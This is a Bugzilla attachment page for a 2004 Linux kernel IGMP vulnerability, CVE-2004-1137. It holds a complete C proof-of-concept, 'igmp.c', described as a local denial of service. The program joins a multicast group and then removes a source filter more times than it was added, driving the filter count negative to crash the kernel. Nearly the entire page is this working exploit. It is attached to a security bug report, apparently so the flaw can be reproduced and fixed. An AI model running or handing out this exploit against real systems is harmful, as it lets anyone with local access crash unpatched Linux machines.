Bugzilla – Attachment 27011 Details for
Bug 63895
VUL-0: CVE-2004-1137: kernel: bug in IGMP code
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
IDP Log In
|
Forgot Password
igmp.c
igmp.c (text/plain), 2.90 KB, created by
Marcus Meissner
on 2004-12-13 23:56:19 UTC
(
hide
)
Description:
igmp.c
Filename:
MIME Type:
Creator:
Marcus Meissner
Created:
2004-12-13 23:56:19 UTC
Size:
2.90 KB
patch
obsolete
> /************ SNIP HERE *************/ > >/* >* Linux igmp.c local DoS >* >*/ > >#include <stdio.h> >#include <stdlib.h> >#include <unistd.h> >#include <syscall.h> >#include <signal.h> >#include <time.h> >#include <sched.h> >#include <fcntl.h> >#include <string.h> >#include <errno.h> > >#include <sys/socket.h> >#include <sys/mman.h> >#include <sys/utsname.h> >#include <sys/syscall.h> >#include <sys/time.h> >#include <sys/resource.h> >#include <sys/wait.h> >#include <sys/sysinfo.h> > >#include <netinet/in.h> >#include <arpa/inet.h> > > >#include <asm/page.h> > >#define str(s) #s >#define xstr(s) str(s) > > > >#define MCAST_INCLUDE 1 >#define IP_MSFILTER 41 > >#define IP_UNBLOCK_SOURCE 37 >#define IP_BLOCK_SOURCE 38 > >void >fatal (const char *message) >{ > printf ("\n"); > if (!errno) > { > fprintf (stdout, "FATAL: %s\n", message); > } > else > { > fprintf (stdout, "FATAL: %s (%s) ", message, > (char *) (strerror (errno))); > } > printf ("\n"); > fflush (stdout); > exit (1); >} > > >int >main () >{ > int s, r, l; > struct ip_mreqn mr; > struct ip_msfilter msf; > struct ip_mreq_source ms; > in_addr_t a1, a2, x; > > s = socket (AF_INET, SOCK_DGRAM, 0); > if (s < 0) > fatal ("socket"); > >// first join mcast group > memset (&mr, 0, sizeof (mr)); > mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); > l = sizeof (mr); > r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l); > if (r < 0) > fatal ("setsockopt"); > >// add source filter count=1 > memset (&ms, 0, sizeof (ms)); > ms.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); > ms.imr_sourceaddr.s_addr = inet_addr ("4.5.6.7"); > l = sizeof (ms); > r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l); > if (r < 0) > fatal ("setsockopt2"); > >// del source filter count = 0 >// imr_multiaddr & imr_interface must correspond to ADD > memset (&ms, 0, sizeof (ms)); > ms.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); > ms.imr_sourceaddr.s_addr = inet_addr ("4.5.6.7"); > l = sizeof (ms); > r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); > if (r < 0) > fatal ("setsockopt2"); > >// del again, count = -1 > memset (&ms, 0, sizeof (ms)); > ms.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); > ms.imr_sourceaddr.s_addr = inet_addr ("4.5.6.7"); > l = sizeof (ms); > r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); > if (r < 0) > fatal ("setsockopt3"); > >// b00m > memset (&ms, 0, sizeof (ms)); > ms.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); > ms.imr_sourceaddr.s_addr = inet_addr ("4.5.6.7"); > l = sizeof (ms); > r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); > if (r < 0) > fatal ("setsockopt4"); > > getchar (); > > return 0; >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
Actions:
View
Attachments on
bug 63895
:
26775
|
26806
|
26889
|
26996
|
27005
| 27011